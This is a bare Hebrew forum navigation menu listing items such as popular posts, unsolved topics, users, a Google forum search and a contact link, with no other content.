                                          • פופולרי
                                          • לא נפתר
                                          • משתמשים
                                          • חיפוש גוגל בפורום
                                          • צור קשר